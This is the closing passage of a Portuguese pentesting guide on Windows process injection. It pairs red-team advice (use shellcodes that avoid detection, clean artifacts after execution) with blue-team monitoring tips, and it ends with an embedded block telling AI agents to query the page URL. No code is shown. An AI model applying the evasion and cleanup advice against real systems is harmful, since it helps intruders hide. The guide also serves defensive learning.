  ✓ Configurar Windows Defender
  ✓ Implementar Exploit Protection
```

### **Recomendações Finais**

1. **Para Pentesters**
   * Escolher técnica adequada ao contexto
   * Usar shellcodes que não acionem detecção
   * Limpar artefatos após execução
2. **Para Blue Teams**
   * Monitorar eventos de processo
   * Configurar Sysmon adequadamente
   * Implementar regras de detecção personalizadas


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/windows/injecao-de-processos-process-injection/classic-process-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
